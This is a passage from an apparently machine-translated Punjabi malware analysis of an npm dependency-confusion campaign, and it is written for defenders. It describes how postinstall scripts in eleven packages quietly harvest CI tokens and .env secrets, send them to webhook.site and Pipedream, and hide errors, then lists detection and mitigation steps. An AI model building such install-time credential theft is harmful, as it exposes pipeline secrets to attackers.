ਨਿਰਭਰਤਾ ਉਲਝਣ ਪ੍ਰਭਾਵਸ਼ਾਲੀ ਰਹਿੰਦਾ ਹੈ ਕਿਉਂਕਿ ਇਹ ਰੈਜ਼ੋਲਵਰ ਵਿਵਹਾਰ ਦਾ ਸ਼ੋਸ਼ਣ ਕਰਦਾ ਹੈ, ਨਾ ਕਿ a ਕਿਸੇ ਵੀ ਪੈਕੇਜ ਵਿੱਚ ਕਮਜ਼ੋਰੀ। ਇੱਥੇ ਕੈਰੀਅਰ ਮਾਮੂਲੀ ਹੈ - ਗਿਆਰਾਂ ਲਗਭਗ ਖਾਲੀ ਪੈਕੇਜ - ਪਰ ਧਮਾਕੇ ਦਾ ਘੇਰਾ ਜੋ ਵੀ ਹੈ pipeline ਗਲਤੀ ਨਾਲ ਜਨਤਕ npm ਨੂੰ ਤਰਜੀਹ ਦਿੰਦਾ ਹੈ ਇੱਕ ਅੰਦਰੂਨੀ ਨਾਮ ਲਈ। CI ਦੌੜਾਕ ਅਜਿਹਾ ਹੋਣ ਲਈ ਸਭ ਤੋਂ ਭੈੜੀ ਜਗ੍ਹਾ ਹਨ: ਉਹ ਰੱਖਦੇ ਹਨ ਬਿਲਕੁਲ ਟੋਕਨ ਅਤੇ .env ਇਹ ਪੇਲੋਡ ਫਾਈਲਾਂ ਪੜ੍ਹਦਾ ਹੈ, ਅਤੇ ਉਹ ਸਥਾਪਿਤ ਕਰਦੇ ਹਨ ਨਿਰਭਰਤਾਵਾਂ ਗੈਰ-ਇੰਟਰਐਕਟਿਵ ਤੌਰ 'ਤੇ, ਇਸ ਲਈ ਇੱਕ ਪੋਸਟਇੰਸਟਾਲ ਬਿਨਾਂ ਕਿਸੇ ਦੇ ਦੇਖੇ ਦੌੜਦਾ ਹੈ।
ਇਹ ਕਲੱਸਟਰ ਇੱਕ ਪੈਟਰਨ ਨੂੰ ਵੀ ਫਿੱਟ ਕਰਦਾ ਹੈ ਜੋ ਅਸੀਂ ਦੇਖਦੇ ਰਹਿੰਦੇ ਹਾਂ: ਇੰਸਟਾਲ-ਟਾਈਮ ਪੇਲੋਡ ਜੋ ਮੌਜੂਦ ਹਨ ਅਸਲ ਪ੍ਰਮਾਣ ਪੱਤਰ ਸੰਗ੍ਰਹਿ ਕਰਦੇ ਸਮੇਂ "ਖੋਜ" ਜਾਂ "ਜਾਗਰੂਕਤਾ" ਵਜੋਂ। ਲੇਬਲ ਫਾਈਲ ਵਿੱਚ ਇਹ ਨਹੀਂ ਬਦਲਦਾ ਕਿ ਕੋਡ ਇੱਕ ਰਨਰ 'ਤੇ ਕੀ ਕਰਦਾ ਹੈ। ਦੋ ਡਿਜ਼ਾਈਨ ਵਿਕਲਪ ਰੱਖਦੇ ਹਨ ਗਤੀਵਿਧੀ ਸ਼ਾਂਤ: ਹਰੇਕ ਨੈੱਟਵਰਕ ਅਤੇ ਫਾਈਲ ਸਿਸਟਮ ਓਪਰੇਸ਼ਨ ਇੱਕ ਵਿੱਚ ਲਪੇਟਿਆ ਹੋਇਆ ਹੈ ਅਪਵਾਦ ਹੈਂਡਲਰ ਜੋ ਗਲਤੀਆਂ ਨੂੰ ਰੱਦ ਕਰਦਾ ਹੈ, ਇਸ ਲਈ ਇੱਕ ਬਲੌਕ ਕੀਤਾ ਭੇਜਿਆ ਜਾਂ ਗੁੰਮ ਹੋਈ ਫਾਈਲ ਕੋਈ ਡਾਇਗਨੌਸਟਿਕ ਆਉਟਪੁੱਟ ਨਹੀਂ ਦਿੰਦਾ, ਅਤੇ ਛਾਪੀ ਗਈ ਇੱਕੋ ਇੱਕ ਚੀਜ਼ ਇੱਕ ਸਿੰਗਲ ਨਿਰਦੋਸ਼ ਹੈ [recon] … ਸਥਾਪਤ ਕੀਤਾ ਗਿਆ ਲਾਈਨ ਜੋ ਆਮ ਇੰਸਟਾਲ ਚੈਟਰ ਵਿੱਚ ਰਲ ਜਾਂਦੀ ਹੈ। ਦੀ ਵਰਤੋਂ ਵੈੱਬਹੁੱਕ.ਸਾਈਟ ਅਤੇ ਪਾਈਪਡ੍ਰੀਮ ਵੀ ਜਾਣਬੁੱਝ ਕੇ ਸਹੂਲਤ ਹੈ - ਦੋਵੇਂ ਮੁਫਤ ਹਨ, ਤੁਰੰਤ ਬੇਨਤੀ-ਕੈਪਚਰ ਸੇਵਾਵਾਂ ਦਾ ਪ੍ਰਬੰਧ ਕੀਤਾ ਗਿਆ ਹੈ, ਇਸ ਲਈ ਆਪਰੇਟਰ ਨੂੰ ਕਿਸੇ ਸਰਵਰ ਦੀ ਲੋੜ ਨਹੀਂ ਹੈ ਉਹਨਾਂ ਦੇ ਆਪਣੇ ਅਤੇ ਮੰਜ਼ਿਲਾਂ ਐਗ੍ਰੇਸ ਲੌਗਸ ਵਿੱਚ ਆਮ SaaS ਹੋਸਟਨਾਮਾਂ ਵਾਂਗ ਦਿਖਾਈ ਦਿੰਦੀਆਂ ਹਨ।
ਅਰਥਸ਼ਾਸਤਰ ਹੀ ਇਸ ਨੂੰ ਇੱਕ ਡਿਫੈਂਡਰ ਦੇ ਧਿਆਨ ਦੇ ਯੋਗ ਬਣਾਉਂਦੇ ਹਨ ਭਾਵੇਂ ਕਿ ਕੈਰੀਅਰ ਕੋਡ ਮਾਮੂਲੀ ਹੈ। ਗਿਆਰਾਂ ਨਾਮ ਰਜਿਸਟਰ ਕਰਨ ਦੀ ਕੋਈ ਕੀਮਤ ਨਹੀਂ ਹੈ, ਪੇਲੋਡ ਇੱਕ ਹੈ ਫਾਈਲ ਗਿਆਰਾਂ ਵਾਰ ਕਾਪੀ ਕੀਤੀ ਗਈ, ਅਤੇ ਪੈਕੇਜ ਮੈਨੇਜਰ ਸਾਰਾ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਕਰਦਾ ਹੈ। ਇੱਕ ਸਿੰਗਲ ਗਲਤ ਸੰਰਚਿਤ pipeline ਕਿਤੇ ਵੀ ਜੋ ਇਹਨਾਂ ਨਾਮਾਂ ਵਿੱਚੋਂ ਇੱਕ ਦਾ ਸੇਵਨ ਕਰਦਾ ਹੈ, ਉਹ ਪੂਰੇ ਲਈ ਭੁਗਤਾਨ ਕਰਦਾ ਹੈ ਕਾਰਵਾਈ.
ਡਿਫੈਂਡਰਾਂ ਲਈ ਠੋਸ ਕਦਮ:
- ਅੰਦਰੂਨੀ ਸਕੋਪਸ ਨੂੰ ਆਪਣੀ ਨਿੱਜੀ ਰਜਿਸਟਰੀ ਵਿੱਚ ਪਿੰਨ ਕਰੋ। npm ਨੂੰ ਅੰਦਰੂਨੀ ਨਾਮਾਂ ਲਈ ਕੌਂਫਿਗਰ ਕਰੋ
ਅਤੇ ਸਕੋਪਸ ਸਿਰਫ਼ ਤੁਹਾਡੀ ਰਜਿਸਟਰੀ ਦੇ ਵਿਰੁੱਧ ਹੱਲ ਕਰਦੇ ਹਨ (ਸਕੋਪਡ .npmrc ਰਜਿਸਟਰੀ ਮੈਪਿੰਗ, ਜਾਂ ਇੱਕ ਪ੍ਰੌਕਸੀ ਜੋ ਕਦੇ ਵੀ ਮਾਲਕੀ ਵਾਲੇ ਨੇਮਸਪੇਸਾਂ ਲਈ ਜਨਤਕ npm ਤੱਕ ਨਹੀਂ ਪਹੁੰਚਦੀ)। ਆਪਣੇ ਜਨਤਕ ਸਕੋਪ ਨਾਮ ਰਿਜ਼ਰਵ ਕਰੋ ਤਾਂ ਜੋ ਕੋਈ ਹੋਰ ਉਹਨਾਂ ਨੂੰ ਰਜਿਸਟਰ ਨਾ ਕਰ ਸਕੇ।
- Commit ਲਾਕਫਾਈਲਾਂ ਅਤੇ –ignore-scripts ਨਾਲ ਇੰਸਟਾਲ ਕਰੋ CI ਵਿੱਚ ਜਿੱਥੇ ਸੰਭਵ ਹੋਵੇ, ਜਾਂ ਨਿਰਭਰਤਾਵਾਂ ਦੇ ਛੋਟੇ ਸਮੂਹ ਦੀ ਜਾਂਚ ਕਰੋ ਜਿਨ੍ਹਾਂ ਨੂੰ ਸੱਚਮੁੱਚ ਸਕ੍ਰਿਪਟਾਂ ਸਥਾਪਤ ਕਰਨ ਦੀ ਜ਼ਰੂਰਤ ਹੈ। recon.js ਨਹੀਂ ਚੱਲ ਸਕਦਾ ਜੇਕਰ ਪੋਸਟਇੰਸਟਾਲ ਚਲਾਇਆ ਨਹੀਂ ਜਾਂਦਾ।
- ਇੱਕ ਅੰਦਰੂਨੀ ਦਿੱਖ ਵਾਲੇ ਨਾਮ ਦੇ 99.99.99 (ਜਾਂ ਹੋਰ ਬੇਤੁਕੇ ਉੱਚ) ਸੰਸਕਰਣ ਦਾ ਇਲਾਜ ਕਰੋ ਲਾਲ ਝੰਡੇ ਵਾਂਗ ਨਿਰਭਰਤਾ ਸਮੀਖਿਆ ਅਤੇ ਰਜਿਸਟਰੀ ਨਿਗਰਾਨੀ ਵਿੱਚ।
- ਇੰਸਟਾਲ-ਸਮੇਂ ਦੇ ਨਿਕਾਸ ਬਾਰੇ ਚੇਤਾਵਨੀ। A ਪੋਸਟਇੰਸਟਾਲ ਜੋ ਇੱਕ ਆਊਟਬਾਊਂਡ HTTPS ਖੋਲ੍ਹਦਾ ਹੈ ਕਨੈਕਸ਼ਨ — ਖਾਸ ਕਰਕੇ ਸਰਟੀਫਿਕੇਟ ਤਸਦੀਕ ਅਯੋਗ ਹੋਣ ਦੇ ਨਾਲ — ਨਾਲ webhook.site, Pipedream, ਜਾਂ ਇਸ ਤਰ੍ਹਾਂ ਦੀਆਂ ਬੇਨਤੀ-ਕੈਪਚਰ ਸੇਵਾਵਾਂ ਨੂੰ ਨੈੱਟਵਰਕ ਦੇ ਕਿਨਾਰੇ 'ਤੇ ਬਲਾਕ ਕਰਨਾ ਅਤੇ ਬਿਲਡ ਲੌਗਸ ਵਿੱਚ ਫਲੈਗ ਕਰਨਾ ਯੋਗ ਹੈ।
- ਕਲਾਕ੍ਰਿਤੀਆਂ ਦੀ ਭਾਲ ਕਰੋ। ਦੌੜਾਕਾਂ ਦੀ ਜਾਂਚ ਕਰੋ /tmp/.npm_recon_*.json ਅਤੇ ਲਈ [recon] … ਹਾਲੀਆ CI ਲੌਗਾਂ ਵਿੱਚ … ਮਾਰਕਰ ਤੇ ਸਥਾਪਿਤ। ਜੇਕਰ ਮਿਲਦਾ ਹੈ, ਤਾਂ ਹਰ ਇੱਕ ਨੂੰ ਘੁੰਮਾਓ ਇਸ ਦੇ ਸਾਹਮਣੇ ਆਇਆ ਪ੍ਰਮਾਣ ਪੱਤਰ pipeline — CI ਟੋਕਨ, ਕਲਾਉਡ ਕੁੰਜੀਆਂ, ਰਜਿਸਟਰੀ ਟੋਕਨ, ਅਤੇ ਵਾਤਾਵਰਣ ਜਾਂ .env ਫਾਈਲਾਂ ਵਿੱਚ ਮੌਜੂਦ ਕੋਈ ਵੀ ਵਾਲਿਟ ਸੀਡ ਜਾਂ ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀਆਂ।
ਹਵਾਲੇ
ਲਿਖਣ ਸਮੇਂ ਇਸ ਕਲੱਸਟਰ 'ਤੇ ਕੋਈ ਬਾਹਰੀ ਰਿਪੋਰਟਿੰਗ ਮੌਜੂਦ ਨਹੀਂ ਸੀ; ਵਿਸ਼ਲੇਸ਼ਣ ਉਪਰੋਕਤ ਪ੍ਰਕਾਸ਼ਿਤ ਪੈਕੇਜ ਸਮੱਗਰੀ 'ਤੇ ਸਿੱਧਾ ਅਧਾਰਤ ਹੈ




